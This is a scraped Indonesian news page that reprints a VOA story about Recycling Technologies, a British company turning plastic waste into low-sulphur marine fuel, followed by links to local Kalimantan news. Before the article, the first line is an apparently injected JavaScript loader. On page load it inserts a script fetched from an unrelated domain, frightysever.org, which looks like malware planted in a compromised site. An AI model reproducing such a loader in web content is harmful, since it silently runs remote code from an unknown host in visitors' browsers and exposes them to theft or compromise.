(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Perusahaan Ini Ubah Sampah Plastik Jadi BBM, Bagaimana Caranya?


Masalah sampah plastik semakin parah di Bumi. Ia dapat ditemukan di seluruh Bumi, bahkan sampai di palung terdalam dunia. Sampah yang tidak terkelola dengan baik pada akhirnya mengambang di lautan dan membahayakan kehidupan yang ada di sana.

Untuk mengatasi masalah tersebut, salah satu perusahaan di Inggris menemukan cara baru untuk mendaur ulang plastik. Perusahaan bernama Recycling Technologies tersebut melebur plastik kemudian mengubahnya menjadi bahan bakar minyak dan bahan baku pembuat plastik yang baru.

“Pada dasarnya, yang kami lakukan saat ini hanyalah membuat suatu adukan hidrokarbon, kemudian menyaringnya pada suhu-suhu yang berbeda. Jadi, pada suhu yang lebih tinggi, lilin-lilin tersebut terpisah dan kita mendinginkannya sedikit lagi untuk menjadi minyak berat (kental) dan ringan (encer). Sisanya lalu keluar sebagai nafta, campuran hidrokarbon cair yang mudah terbakar. Gas-gas yang tidak berkondensasi kami gunakan sebagai bahan bakar dalam proses tersebut,” papar Adrian Haworth, Sales and Marketing Director Recycling Technologies, dilansir dari voaindonesia.com.

Proses yang mereka lakukan itu pada akhirnya menghasilkan bahan bakar minyak yang digunakan untuk kapal laut. “Kami menyebutnya minyak mentah bersih karena mengandung sedikit belerang di dalamnya yang sebenarnya hampir tidak ada. Ini tentunya sesuai dengan beberapa peraturan baru untuk bahan bakar laut di mana mereka menghendaki kadar sulfur lebih rendah di seluruh dunia. Jadi, BBM dari plastik ini merupakan produk yang sangat berharga,” tambah Haworth.

Saat ini, Recycling Technologies mampu mendaur ulang sekitar 7.000 ton plastik dalam setahun. Namun, mereka optimis jumlah produksinya bisa lebih banyak dengan menggunakan teknologi yang semakin canggih.

“Kami sedang merancang suatu instalasi pengoperasian empat hari. Kami akan menggunakan enam unit kontainer kargo yang akan didirikan di tiap ujung dan disambungkan dalam mekanisme ‘langsung jalan sendiri.’ Dengan demikian mesin akan beroperasi otomatis selama empat hari,” jelas Haworth.

Ke depannya, mereka berharap dapat mendaur ulang sembilan juta ton plastik per tahun. Recycling Technologies juga berencana menjual ‘mesin pengubah plastik menjadi BBM’ ke seluruh dunia sehingga lebih banyak sampah yang dapat didaur ulang. (voa/ngo)

Reporter:voa/ngo
Editor:voa

Desy

Unit Cyber Kanal Kalimantan

Recent Posts

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

20 menit ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

2 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

3 jam ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

3 jam ago

Paman Birin Trophy VII 2024 Digelar 15 Hari di Murdjani

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Sahbirin Noor membuka secara resmi Paman Birin Trophy… Read More

5 jam ago

Karst Sangkulirang-Mangkalihat dan Delta Mahakam, Bentang Alam yang Terancam Eksploitasi

KANALKALIMANTAN.COM, SAMARINDA - Akademisi Teknik Geologi Universitas Muhammadiyah Kalimantan Timur (UMKT) Syamsidar Sutan Malim Polawan… Read More

6 jam ago

This website uses cookies.